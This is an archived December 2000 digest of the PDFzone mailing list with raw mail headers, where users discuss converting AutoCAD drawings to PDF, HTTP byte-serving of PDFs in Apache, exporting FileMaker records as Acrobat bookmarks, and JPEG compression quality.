> > > > -- > > C. Scott Miller > > Performance Graphics > > miller@performancegraphics.com > > > > PDF Research Companion > > A Designer's Guide to Adobe's Portable Document Format > > http://www.pdfresearch.com > > > > Receive the latest PDF News in your Inbox. > > > > ---------------------------------------------------------------------------- > > -- > Robert McKinley > Design Engineer > Allied Machine & Engineering Corp. > 330-343-4283 ext. 7283 > FAX 364-7666 > > Receive the latest PDF News in your Inbox. > > ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 27-Dec-2000 19:45:50-GMT,3947;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id MAA05310 for ; Wed, 27 Dec 2000 12:45:49 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id NAA18679; Wed, 27 Dec 2000 13:37:40 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 27 Dec 2000 13:31:50 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id NAA18393; Wed, 27 Dec 2000 13:31:49 -0600 Received: from prodok.com (mail7.burlee.com [199.93.70.138]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id NAA18389 for ; Wed, 27 Dec 2000 13:31:48 -0600 Date: Wed, 27 Dec 2000 14:38:16 -0500 Message-Id: <200012271438.AA222954042@prodok.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: ""Max Wyss"" To: CC: Lynn Mead Subject: Re: [PDF] Converting AutoCad and .dwg files to PDF X-Mailer: Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Lynn (and others), there are a few issues with PDFs from CAD documents. One is curves, where the CAD world uses a different mathematical model than the illustration world (including PostScript and PDF). This means that it is not guaranteed that curves can be represented at the needed precision. However, this difference in the mathematical model for curves becomes purely academic when the output module is involved. CAD drawings are essentially set up for outputting on vector devices (plotters). With some few exceptions, plotters do not know how to draw curves (if they do, the driver must also know about that). Instead of curves, the printer/plotter driver produces a polygon. As far as I have seen, all the PostScript drivers will create polygons. The consequence is that instead of a curve path with a few ponts, you will get a polygon path with several hundred lines. The resulting PDF will then display very sluggishly, something which can become annoying in a complex drawing, such as explosion drawings. When bad comes to worse, it imay even be that those line elements are not even connected, but just individual very short straight lines. The next issue is very often that text is not represented as text, but as a bunch of lines, which happen to look like letters and numbers. The resulting PDF is then definitely not searchable, for example. So, getting CAD drawings to PDF is not necessarily as easy as it appears. So far, I have not heard of any converter which takes properly care of the above issues (but I will more than happy to hear that there are tools out there which have addressed the problems). Max Wyss PRODOK Engineering Low Paper workflows, Smart documents, PDF forms CH-8906 Bonstetten, Switzerland Phone: +41 1 700 29 21 Fax: +41 1 700 20 37 e-mail: mailto:max@prodok.com http://www.prodok.com [ Building Bridges for Information ] ______________________ >There is a free viewer from Autodesk called Volo View Express. It will open >both .dwg and .dwf files. In addition you can turn layers off and on and >choose to print in B&W or Color. I print to the Distiller printer with good >results. The only problem I have encountered is that sometimes the >resulting PDF is rotated (easily fixed in Acrobat). > > Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 27-Dec-2000 21:00:36-GMT,6047;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA06820 for ; Wed, 27 Dec 2000 14:00:35 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA21822; Wed, 27 Dec 2000 14:41:58 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 27 Dec 2000 14:36:55 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAA21546; Wed, 27 Dec 2000 14:36:54 -0600 Received: from amfexc01.amfbakery.com (mail.amfbakery.com [12.26.68.3]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA21542 for ; Wed, 27 Dec 2000 14:36:53 -0600 Received: by AMFEXC01 with Internet Mail Service (5.5.2650.21) id ; Wed, 27 Dec 2000 15:36:44 -0500 Message-ID: <8D38DB122A95D2119A6F0008C7093D1A3A6E9B@AMFEXC01> From: ""Juergensen, Marty"" To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] Converting Autocad and .DWG files to PDF Date: Wed, 27 Dec 2000 15:36:28 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hi everyone, Although we typically set up our default printer to the Adobe Distiller which most of the time is adequate for DWG conversion to PDF. Alternately, we have also had very good success merely by a copy / paste directly into Adobe Illustrator.(Note: You have to have your background set as white in Autocad to do this. Colors and everything imports directly.) Once in Illustrator, you can then convert the drawing into a PDF or whatever format is desired. By doing this, it has been my experience that I can manipulate drawing, as required for documents that we make, very quickly. Addressing the situation that Max pointed out, where Autocad is vector driven, you can export the original drawing file as a Autocad R14 DXF file, which you can open in Illustrator. (Illustrator can convert these DXF files.) The text directly imports as text, the circles also are circles, lines, and the like, can easily be modified as desired. From here the drawing then can be directly saved as a PDF. You may loose some items during the conversion, pending how the drawing was made, but it does work well for the most part. Hope this is helpful information and enjoy the holidays! Martin Juergensen AMF Bakery Systems 2115 West Laburnum Avenue Technical Documentation Manager Direct Line - 804-340-4415 Fax - 804-355-1074 Toll Free - 1-800-BAKERS-1 ext.-415 mjuergensen@amfbakery.com -----Original Message----- From: Max Wyss [mailto:max@prodok.com] Sent: Wednesday, December 27, 2000 2:38 PM To: pdf@lists.pdfzone.com Cc: Lynn Mead Subject: Re: [PDF] Converting AutoCad and .dwg files to PDF The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Lynn (and others), there are a few issues with PDFs from CAD documents. One is curves, where the CAD world uses a different mathematical model than the illustration world (including PostScript and PDF). This means that it is not guaranteed that curves can be represented at the needed precision. However, this difference in the mathematical model for curves becomes purely academic when the output module is involved. CAD drawings are essentially set up for outputting on vector devices (plotters). With some few exceptions, plotters do not know how to draw curves (if they do, the driver must also know about that). Instead of curves, the printer/plotter driver produces a polygon. As far as I have seen, all the PostScript drivers will create polygons. The consequence is that instead of a curve path with a few ponts, you will get a polygon path with several hundred lines. The resulting PDF will then display very sluggishly, something which can become annoying in a complex drawing, such as explosion drawings. When bad comes to worse, it imay even be that those line elements are not even connected, but just individual very short straight lines. The next issue is very often that text is not represented as text, but as a bunch of lines, which happen to look like letters and numbers. The resulting PDF is then definitely not searchable, for example. So, getting CAD drawings to PDF is not necessarily as easy as it appears. So far, I have not heard of any converter which takes properly care of the above issues (but I will more than happy to hear that there are tools out there which have addressed the problems). Max Wyss PRODOK Engineering Low Paper workflows, Smart documents, PDF forms CH-8906 Bonstetten, Switzerland Phone: +41 1 700 29 21 Fax: +41 1 700 20 37 e-mail: mailto:max@prodok.com http://www.prodok.com [ Building Bridges for Information ] ______________________ >There is a free viewer from Autodesk called Volo View Express. It will open >both .dwg and .dwf files. In addition you can turn layers off and on and >choose to print in B&W or Color. I print to the Distiller printer with good >results. The only problem I have encountered is that sometimes the >resulting PDF is rotated (easily fixed in Acrobat). > > Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 27-Dec-2000 21:28:27-GMT,3373;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA07377 for ; Wed, 27 Dec 2000 14:28:26 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA23634; Wed, 27 Dec 2000 15:15:16 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 27 Dec 2000 15:09:34 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id PAA23325; Wed, 27 Dec 2000 15:09:32 -0600 Received: from prodok.com (mail7.burlee.com [199.93.70.138]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id PAA23321 for ; Wed, 27 Dec 2000 15:09:31 -0600 Date: Wed, 27 Dec 2000 16:15:58 -0500 Message-Id: <200012271615.AA903282946@prodok.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: ""Max Wyss"" To: CC: ""Juergensen, Marty"" Subject: RE: [PDF] Converting Autocad and .DWG files to PDF X-Mailer: Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Martin, thanks for the update. You say that with copy/paste, circles come in as circles. Well, circles are almost never the problem. Even closed ellipses are not. But what about cut ellipses, which you have lots of in axionometric etc. views? Max Wyss PRODOK Engineering Low Paper workflows, Smart documents, PDF forms CH-8906 Bonstetten, Switzerland Fax: +41 1 700 20 37 e-mail: mailto:max@prodok.com http://www.prodok.com [ Building Bridges for Information ] ______________________ >Although we typically set up our default printer to the Adobe Distiller >which most of the time is adequate for DWG conversion to PDF. Alternately, >we have also had very good success merely by a copy / paste directly into >Adobe Illustrator.(Note: You have to have your background set as white in >Autocad to do this. Colors and everything imports directly.) Once in >Illustrator, you can then convert the drawing into a PDF or whatever format >is desired. By doing this, it has been my experience that I can manipulate >drawing, as required for documents that we make, very quickly. > >Addressing the situation that Max pointed out, where Autocad is vector >driven, you can export the original drawing file as a Autocad R14 DXF file, >which you can open in Illustrator. (Illustrator can convert these DXF >files.) The text directly imports as text, the circles also are circles, >lines, and the like, can easily be modified as desired. From here the >drawing then can be directly saved as a PDF. You may loose some items during >the conversion, pending how the drawing was made, but it does work well for >the most part. > >Hope this is helpful information and enjoy the holidays! > Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 28-Dec-2000 7:55:47-GMT,2312;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id AAA18990 for ; Thu, 28 Dec 2000 00:55:46 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id BAA16513; Thu, 28 Dec 2000 01:34:49 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 28 Dec 2000 01:27:44 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id BAA16193; Thu, 28 Dec 2000 01:27:42 -0600 Received: from bird.de.uu.net (bird.de.uu.net [193.101.111.15]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id BAA16189 for ; Thu, 28 Dec 2000 01:27:41 -0600 Received: from schuitz.com (pec-61-6.tnt1.me.uunet.de [149.225.61.6]) by bird.de.uu.net (5.5.5/5.5.5) with ESMTP id IAA03904 for ; Thu, 28 Dec 2000 08:27:39 +0100 (MET) Message-ID: <3A4AEB6A.C0FDCBA4@schuitz.com> Date: Thu, 28 Dec 2000 08:27:38 +0100 From: Schuitz Grafik Design X-Mailer: Mozilla 4.75 [de]C-CCK-MCD DT (Win95; U) X-Accept-Language: de MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: [PDF] byteserver.pl - obsolete or state of the art? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hello, we're using the cgi-script 'byteserver.pl' from Adobe since a longer time. Is it still the standard for quick page serving to view the first pages while downloading the rest even when bookmarks are hit to access pages at the end of the file first or do modern browsers and latest Apache servers manage it anyhow alone without the byteserver.pl script? Thanks for info, Raimund Schuitz Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 28-Dec-2000 10:35:58-GMT,2901;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id DAA21586 for ; Thu, 28 Dec 2000 03:35:56 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id EAA23814; Thu, 28 Dec 2000 04:18:16 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 28 Dec 2000 04:06:13 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id EAA23059; Thu, 28 Dec 2000 04:06:11 -0600 Received: from woozle.isode.com (marketing.isode.com [193.133.227.112]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id EAA23055 for ; Thu, 28 Dec 2000 04:06:06 -0600 Received: from bagheera.isode.com by woozle.isode.com (local) with ESMTP; Thu, 28 Dec 2000 10:06:02 +0000 Date: Thu, 28 Dec 2000 10:06:01 +0000 From: Chris Ridd To: pdf@lists.pdfzone.com Subject: Re: [PDF] byteserver.pl - obsolete or state of the art? Message-ID: <14240000.977997961@bagheera.isode.com> In-Reply-To: <3A4AEB6A.C0FDCBA4@schuitz.com> X-Mailer: Mulberry/2.0.6b2 (Linux/x86 Demo) MIME-version: 1.0 Content-type: text/plain; charset=""us-ascii"" Content-transfer-encoding: 7bit Content-Disposition: inline Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Schuitz Grafik Design wrote: > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > Hello, > > we're using the cgi-script 'byteserver.pl' from Adobe since a longer > time. > Is it still the standard for quick page serving to view the first pages > while downloading the rest even when bookmarks are hit to access pages > at the end of the file first or do modern browsers and latest Apache > servers manage it anyhow alone without the byteserver.pl script? > Thanks for info, Raimund Schuitz Recent versions of Apache support the Range request header from HTTP/1.1 (which is all byte serving is) as well as the Request-Range header for compatibility with old browsers. See: http://www.adobe.com/support/techguides/acrobat/byteserve/byteserv03.html Alternatively, check the source code! For Apache, look in src/main/http_protocol.c for ap_set_byterange(). Cheers, Chris Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 28-Dec-2000 19:23:47-GMT,2574;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id MAA00953 for ; Thu, 28 Dec 2000 12:23:46 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id NAA16462; Thu, 28 Dec 2000 13:02:21 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 28 Dec 2000 12:56:22 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id MAA16181; Thu, 28 Dec 2000 12:56:21 -0600 Received: from isomedia.com (root@gollum.isomedia.com [207.115.64.29]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id MAA16177 for ; Thu, 28 Dec 2000 12:56:19 -0600 Received: from lynn.cognosinc.com (rsvp-208-187-8-50.ac02.tkwl.eli.net [208.187.8.50]) by isomedia.com (8.9.3/8.9.3) with ESMTP id KAA15170 for ; Thu, 28 Dec 2000 10:56:17 -0800 Message-Id: <4.3.2.7.2.20001228104759.00caf740@mail.cognosinc.com> X-Sender: lmead@mail.cognosinc.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 28 Dec 2000 10:56:10 -0800 To: pdf@lists.pdfzone.com From: Lynn Mead Subject: Re: [PDF] Converting AutoCad and .dwg files to PDF with Illustrator 9 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Max, Martin and others, Illustrator 9 will open both dwg and dxf files. When opening the dwg you get the option of merging layers or not, and uniting separate paths. Uniting paths will connect all those pesky segments but you still have a zillion points on the path. This can be dealt with by carefully using the simplify path option. There are probably some gotchas with this method as I have not had the opportunity to thoroughly test it. Lynn Mead Acrobat 4 A.C.E. Cognoscenti Inc. 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When opening the dwg you get the option of merging layers or not, and uniting separate paths. Uniting paths will connect all those pesky segments but you still have a zillion points on the path. This can be dealt with by carefully using the simplify path option. There are probably some gotchas with this method as I have not had the opportunity to thoroughly test it. Lynn Mead Acrobat 4 A.C.E. Cognoscenti Inc. Adobe Solution Sales Provider Sales, Training and Consulting 425-271-2878 lmead@cognosinc.com http://www.cognosinc.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 28-Dec-2000 21:05:11-GMT,2508;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA03064 for ; Thu, 28 Dec 2000 14:05:10 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA22521; Thu, 28 Dec 2000 14:52:12 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 28 Dec 2000 14:46:43 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAA22190; Thu, 28 Dec 2000 14:46:41 -0600 Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA22186 for ; Thu, 28 Dec 2000 14:46:40 -0600 Received: from qube ([64.165.202.89]) by mta6.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with SMTP id <0G6A0075VOQ4HA@mta6.snfc21.pbi.net> for pdf@lists.pdfzone.com; Thu, 28 Dec 2000 12:25:16 -0800 (PST) Date: Thu, 28 Dec 2000 12:32:01 -0800 From: Digital Odyssey Subject: [PDF] exporting bookmarks from Filemaker? X-Sender: lizevangelatos@mindspring.com To: pdf@lists.pdfzone.com Message-id: <3.0.5.32.20001228123201.00800510@mindspring.com> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Content-type: text/plain; charset=""us-ascii"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hi, Does anyone have any information on how, or if, a Filemaker Pro v.5 database could print out a field that could be understood by Acrobat to be a bookmark? Also, another field to be a live www link? I have about 1,000 records that I want to print from Filemaker into Acrobat, but I don't want to do each bookmark and link by hand! Thank in advance, Liz ______________________ Digital Odyssey Web Development Studio mailto:webmaster@dowebs.com http://www.dowebs.com 541 S. School Street Ukiah, CA 95482 707 468 9800 voice 707 462 3190 fax Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 28-Dec-2000 21:08:49-GMT,3212;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA03147 for ; Thu, 28 Dec 2000 14:08:48 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA20578; Thu, 28 Dec 2000 14:24:44 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 28 Dec 2000 14:18:55 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAA20364; Thu, 28 Dec 2000 14:18:54 -0600 Received: from amfexc01.amfbakery.com (mail.amfbakery.com [12.26.68.3]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA20360 for ; Thu, 28 Dec 2000 14:18:51 -0600 Received: by AMFEXC01 with Internet Mail Service (5.5.2650.21) id ; Thu, 28 Dec 2000 15:18:40 -0500 Message-ID: <8D38DB122A95D2119A6F0008C7093D1A3A6EA0@AMFEXC01> From: ""Juergensen, Marty"" To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] Converting Autocad and .DWG files to PDF with Illustrat or 9 Date: Thu, 28 Dec 2000 15:17:51 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Thanks very much for the update. We only have 8.0 and the info we had received on the upgrade did not mention that or I would have been able to justify the upgrade. Thanks again! Marty -----Original Message----- From: Lynn Mead [mailto:lmead@cognosinc.com] Sent: Thursday, December 28, 2000 1:56 PM To: pdf@lists.pdfzone.com Subject: Re: [PDF] Converting AutoCad and .dwg files to PDF with Illustrator 9 The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Max, Martin and others, Illustrator 9 will open both dwg and dxf files. When opening the dwg you get the option of merging layers or not, and uniting separate paths. Uniting paths will connect all those pesky segments but you still have a zillion points on the path. This can be dealt with by carefully using the simplify path option. There are probably some gotchas with this method as I have not had the opportunity to thoroughly test it. Lynn Mead Acrobat 4 A.C.E. Cognoscenti Inc. Adobe Solution Sales Provider Sales, Training and Consulting 425-271-2878 lmead@cognosinc.com http://www.cognosinc.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 28-Dec-2000 20:40:59-GMT,6123;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id NAA02518 for ; Thu, 28 Dec 2000 13:40:58 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA21172; Thu, 28 Dec 2000 14:31:24 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 28 Dec 2000 14:25:49 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id OAA20695; Thu, 28 Dec 2000 14:25:42 -0600 Received: from mail.maxnet.co.nz (root@mail.maxnet.co.nz [210.55.106.253]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id OAA20685 for ; Thu, 28 Dec 2000 14:25:38 -0600 Received: from pii233 (ppp-210-55-101-139.ip.surfer.co.nz [210.55.101.139]) by mail.maxnet.co.nz (8.9.3/8.8.5) with SMTP id JAA04527 for ; Fri, 29 Dec 2000 09:26:30 +1300 Message-ID: <003301c0710c$27781020$2a97fea9@pii233> From: ""Jojo"" To: References: <200012212217.RAA30104@hall.mail.mindspring.net> Subject: Re: [PDF] Re: to JPEG or not to JPEG... Date: Fri, 29 Dec 2000 09:24:11 +1300 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Hi Mike, does the same thing apply to normalised PDF using extreme? rgds, Jojo ----- Original Message ----- From: ""mikejahn"" To: ; Sent: Friday, December 22, 2000 10:13 AM Subject: [PDF] Re: to JPEG or not to JPEG... > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > on 12/21/00 4:56 PM, pdf-digest wrote; > > >What is the general feeling about using JPEG compression with PDF's. I work > >in a publishing environment (both editorial and advertising material) that > >is coming to depend on PDF's. My concern is with using JPEG compression on > >PDF files that are opened, edited in Acrobat and resaved. Though I have not > >fully tested the results form multiple opens and saves my gut instinct tells > >me that the overall image quality is going to degrade significantly in this > >enivornment. > > Unless they are opening the PDF files, somehow copying the images OUT of > the PDF file, editing the images, and then pasting the new images into a > PDF file, you ""gut instinct"" is wrong - simply openeing a PDF file and > editing it will not ""recompress"" the images differently - in fact, you > can open and close a JPEG file in Photoshop hundreds of times without any > degradation - it simply writes it back to file the same way - now, even > if you do some cloning in an small area, Photoshop will NOT > RESAMPLE/RE-JPEG the entire image - the only case where SERIOUS repeated > open/edit/close degradation will occur is when you crop an image, as it > has to re-tile the entire image - and this is Photoshop, not Acrobat - > even if you recrop the PDF, and even if a crop corner is in the middle of > one of the images, when you save, Acrobat will NOT resample or re-JPEG > the image. > > > >Right now my recommendation to my peers is to compress using Zip or no > >compression at all to perserve image quality. > > This is a different issue - any amount of JPEG will degrade any image - > even Maximum quality will ""toss"" image data which cannot be recovered - > however - when i worked for a printing company, we did a series of tests > with customer files - we created PDF files with all the level of JPEG > compression available and printed each on press and laid them side by > side. > > 100% of the time they selected the samples that had Maximum Quality > compression applied to them, and we were totally suprised - they selected > this OVER no compression - we then discovered that the very small amount > of JPEG artifacts arond the contrasty areas of the images were percieved > as USM (Un Sharp Masking) and the customers seemd to feel this was > ""better"" than the less ""sharp"" example (the examples with no compression) > > so, in this study, our customers liked the Maximum Quality setting > compression better than ZIP or No compression. > > > >Please donate your two cents on this issue. Am I worrying about lossy > >compression too much? Will Zip cause other problems in the processing and > >delivery process? What are some of your experiences with compression and > >PDF's? > > when they also discovered that there was a minimum of a 10 to one file > size difference, well, that sealed the deal (remote transmission cost > issue) - Max Quality compression was what they selected - Black and white > images seemed to be even more forgiving, so we select High Quality for > this - > > this was JC Penney type work too - fashion, fabrics - what can i say, the > customer is ALWAYS right, even when you have to figure out why. > > > > > Michael Jahn > Apogee Create Product Manager > Agfa corporation > 200 Balardvale Street > MS 200-4-5H > WIlmington, MA > 01887-1069 > > http://www.agfa.com/create/ > http://www.jahn.org/ > > P: 978-284-5504 > > F: 978.657.8984 > > > Receive the latest PDF News in your Inbox. > > -------------------------------------------------------------------------- -- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 29-Dec-2000 1:18:08-GMT,2683;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id SAA08596 for ; Thu, 28 Dec 2000 18:18:07 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id SAA31981; Thu, 28 Dec 2000 18:47:50 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Thu, 28 Dec 2000 18:41:47 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id SAA31745; Thu, 28 Dec 2000 18:41:45 -0600 Received: from smtp.digapp.com ([38.164.135.2]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id SAA31741 for ; Thu, 28 Dec 2000 18:41:44 -0600 Received: from [207.29.200.50] by smtp.digapp.com (AppleShare IP Mail Server 6.3) id 94266 via TCP with SMTP; Thu, 28 Dec 2000 19:42:41 -0500 Mime-Version: 1.0 X-Sender: leonardr@smtp.digapp.com Message-Id: In-Reply-To: <3.0.5.32.20001228123201.00800510@mindspring.com> References: <3.0.5.32.20001228123201.00800510@mindspring.com> Date: Thu, 28 Dec 2000 19:32:33 -0500 To: pdf@lists.pdfzone.com From: Leonard Rosenthol Subject: Re: [PDF] exporting bookmarks from Filemaker? Cc: webmaster@dowebs.com Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ At 12:32 PM -0800 12/28/00, Digital Odyssey wrote: >Does anyone have any information on how, or if, a Filemaker Pro v.5 >database could print out a field that could be understood by Acrobat to be >a bookmark? Also, another field to be a live www link? The only way that I can think of to do this would be to use a 3rd party library and some custom software - but yes, it can be done with the right tools. Leonard -- ---------------------------------------------------------------------------- Leonard Rosenthol Sr. Software Engineer (215) 922-3509 (voice) Digital Applications (215) 440-0504 (fax) PGP Fingerprint: 8CC9 8878 921E C627 0BC1 15BB FC19 64A9 0016 1397 Receive the latest PDF News in your Inbox. 